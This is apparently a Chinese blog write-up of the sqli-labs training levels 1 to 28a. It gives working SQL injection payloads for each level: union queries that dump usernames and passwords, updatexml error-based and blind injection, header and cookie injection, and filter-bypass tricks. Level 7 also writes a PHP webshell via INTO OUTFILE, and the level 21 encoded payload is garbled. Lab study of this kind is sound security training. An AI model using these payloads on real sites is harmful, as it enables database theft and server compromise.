• sqli-labs部分关思路


    目录

    updatexml

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    25a

    26

    26a

    27

    27a

    28

    28a


    问题:你了解sql注入

    答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入

    mysql三种注释符:

    --+

    #

    /**/

    updatexml

    updatexml()

    UPDATEXML (XML_document, XPath_string, new_value);

    这个函数作用是替换数据,三个参数对应的分别是源文档、要查找的元素路径、新的值

    例子:

    UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...

    一个名为"mytable"的表,其中包含一个名为"xml_data"的XML类型列。要将XML文档中"path/to/element"元素的值替换为"new_value

    报错注入利用:

    0x7e是~的十六进制,会让xpath参数报错,然后返回报错信息,同时在xpath参数中插入concat()连接字符串,和所要查询的内容,例如database()

    即可将查询内容与报错信息一起反馈出来。

    1

    1.判断注入类型:先单引号发现报错,说明是单引号注入

    2.判断字段数:用order by ,经测试:?id=1' order by 4 --+发生报错,说明只有3个字段

    3.查看回显位置:用一个不存在id测试回显位置:?id=-1' union select 1,2,3 --+,发现,2,3是回显位置

    4.查数据:

    库名: ?id=-1' union select 1,database(), 3--+,得到security

    表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四张表:

    emails,referers,uagents,users

    字段名:就是将表名的table改成columns,得到表名,太多了就不列举了

    发现两个关键的username,password

    查字段内容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪个字段就把username改成对应字段名即可

    最终得到账号密码

    2

    1.判断注入类型:单双引号都报错了,引号闭合不了,不是字符注入。是数字注入

    2.用order by 判断字段数为3

    3.用union判断回显位置为2,3

    4.查数据:

    库名:?id=-1%20union%20select%201,database(),--+,得到security

    表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    字段名:把表名的table和tables改成column和columns

    查账号密码:?id=-1 union select 1,group_concat(username),3 from security.users--+

    3

    1.判断注入类型,测试了1和双引号没异常,单引号发现报错,说有括号,所以再闭合一个括号 id=1')

    2.判断字段和回显分别是3和2,3

    3.查数据跟前面一样

    4

    从3的单引号变成双引号,其他不变

    5

    1.判断注入类型,发现只有id=1'能报错

    2.测试字段数和回显发现无法使用联合查询了,使用报错注入

    3.查数据:

    库名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

    表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

    字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+

    用户密码:

    ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

    6

    只是把单引号换成了双引号,其他和5关一样

    7

    这关很奇怪,要做出来得去改mysql的配置文件,允许上传文件,然后直接传后门,但是都能修改文件了,还有必要改ini吗

    但是不妨也是一种手段:

    利用前提:1.是root,2.目录是网站的根路径,也就是网站能访问到该路径

    先修改my.ini的secure_file_priv="要上传文件的路径"

    然后闭合后写导出语句

    ?id=1')) union select 1,2,'' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+

    然后就把我们的shellaaa.php上传到这个目录下了,可以传一句话后门直接用蚁剑登录,我这里测试用的是phpinfo();

    8

    判断注入类型:初步判断为bool盲注

    库名:

    库名的长度:?id=1' and length(database())>8 --+数字加到8没有回显,说明库名长度为8。库名:?id=1' and ascii(substr((database()),1,1))=115 --+当等于115的时候有回显,说明库名的第一个字符为s,以此类推

    表名、字段名类似,盲注比较麻烦,建议用脚本或者sqlmap

    9

    判断注入类型:测试对错都不变,是时间盲注

    跟布尔盲注的区别就在于加了一个sleep()函数

    ?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+

    如果条件为真就会延迟两秒回显,也可以看网页检查的network模块的加载时间的变化,我们以此来判断是否为真,其余思路与布尔盲注一样

    10

    和第9关的注入唯一区别就是不用闭合了

    11

    用户名输入单引号报错,用updatexml尝试报错注入

    直接在用户名测试:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 这里因为是post提交,所以注释用的#

    然后成功回显库名了,然后用户输入admin,密码输入-1' union select 1,2#

    看到回显位置,然后就直接查数据即可

    12

    跟11题区别就是密码框输入的时候用双引号闭合:-1' union select 1,2#

    13

    改动:单引号+括号闭合,其他跟11一样

    14

    双引号闭合的,正常回显被注释,不能用联合查询,首选用updatexml报错注入、也可以bool盲注根据返回的图片来判断

    15

    从14的双引号闭合变成了单引号闭合,其他一样

    16

    又变成了双引号+括号

    17

    先判断魔术开关(只在php低版本有),然后用一个stripslashes(),作用是去掉转义符

    再判断是否为数字,然后用mysql_real_escape_string()(也是个低版本的函数)对特殊字符转义,例如单双引号

    解释:如果不判断魔术开关,会自动转义一次,然后到了mysql_real_escape_string()这个函数又转义一次,这样双重转义等于没有转义,单引号就逃出限制了,开着的话就会只转义一次,单引号就被转义失效了

    用户名是admin

    密码先测试一下单引号闭合,报错了

    那么尝试报错注入成功回显:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#

    注意单引号前面的密码要符合规范,例如我只写了个aaa就会报错不合法

    18

    header头注入

    看源码知道用户名密码都被过滤了,但是重新获取了两个值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到数据库里了,我们选择USER_AGENT,因为REMOTE_ADDR改不了

    用火狐的hackbar:

    post:uname=admin&passwd=0

    user agent添加一行aaa'提交后发现报错,原因是插入值为3个,我们写了四个

    用and连接就不影响了,还是原来的三个

    所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

    成功报错回显出用户

    19

    header头变成了referer了

    然后跟上一题一样

    20

    这关将用户名放入cookie,然后把cookie放到数据库中查询

    所以注入点就是username

    还是用firefox的hackerbar来伪造cookie,测试单引号闭合回显报错

    直接伪造cookie看回显:-1' union select 1,2,3,4,5#

    2,3回显位置出现,后面按套路查就行

    注:username错误就被过滤,正确才放到cookie,然后数据库查cookie,所以修改username没意义,应该伪造cookie

    21

    cookie拿username的时候进行了一次base64编码,然后再把cookie解码放进数据库中查询

    所以我们就是把payload进行base64编码然后放给cookie就行了

    payload:ºv¦|§vê]j×±]\¢w·L{zÇ¥yËn±êôÇ·µjwu

    22

    换了个闭合方式:双引号闭合

    23

    先闭合再注释测试,发现注释符被过滤了

    那就不注释了,用and '1'='1

    测试成功回显:?id=-1' union select 12,3,4,5 and '1'=‘1

    剩下的又和第一关一样了

    24

    先注册,然后登录,进去后看到修改密码界面

    看源码,又遇到mysql_real_escape_string()这个函数了

    简单说就是给单引号加个注释符,但是关键是数据存到数据库的时候,这个注释符会去掉,也就是把单引号存到数据库中了

    那么查询的时候,这个名字从数据库中拿出来,引号也会被拿出来

    所以这样做:

    找一个已存在的用户名例如abc,然后注册用户abc'#

    再修改密码的话由于引号闭合和注释,会导致用户abc的密码被修改,那么我们就知道abc的密码了

    25

    所有的or 和 and被过滤

    这是限制的报错注入,和password这个关键字

    我们直接用第一题的解法就行,password写成passwoorrd成功爆出数据

    25a

    没有闭合,数字型的,其他跟25一样

    26

    过滤了注释符、and、or、空格、*也被过滤了

    可以用括号代替空格,然后and用anandd绕过就行了,当然不看源码的话要尝试会花不少时间

    在linux下可以替换空格的:%0a、%0b、%0c、%0d、%a0

    这里经测试不行,但是其他情况可能有奇效

    26a

    报错注入被注释了,尝试联合查询也不行

    那就试试布尔盲注

    payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1

    发现回显正确的值,说明可以使用布尔盲注后面步骤就一样,不赘述了

    27

    联合查询被过滤

    union的大写、小写、空格都被过滤了、还过滤了三次select

    空格用%0a替代,union用UNion这种大小写组合就可以绕过

    select写成四个拼起来的就行:selselselselectectectect

    除了这些过滤,其他就跟联合查询一样了

    27a

    闭合方式不一样,是单引号,然后过滤select的正则没有写i,所以直接写成SELect就能绕过

    28

    过滤了union+select,也就是union和select之间不能写内容

    还是老样子,双写,用%0a代替空格:

    union%0aunion%0aselectselect

    或者还能用布尔盲注

    28a

    没啥区别,同样的和上一关一样的payload也能过

  • 相关阅读:
    [数据结构]红黑树图解及其代码实现
    AI教程 | 用Midjourney制作AI模特和换装的保姆级教程
    最新python大数据毕业设计选题推荐(三)
    linux运维笔记:TCP/IP三次握手和四次挥手
    阿里P8整理出了这份444页深入浅出SpringBoot2.X笔记
    AOP基础&&进阶
    17.Oauth2-微服务认证
    动态分区算法
    《Eolink 征文活动- -RESTful接口全解测试-全方位了解Eolink-三神技超亮点》
    xml类型字段内容解析到表
  • 原文地址:https://blog.csdn.net/vt_yjx/article/details/132747148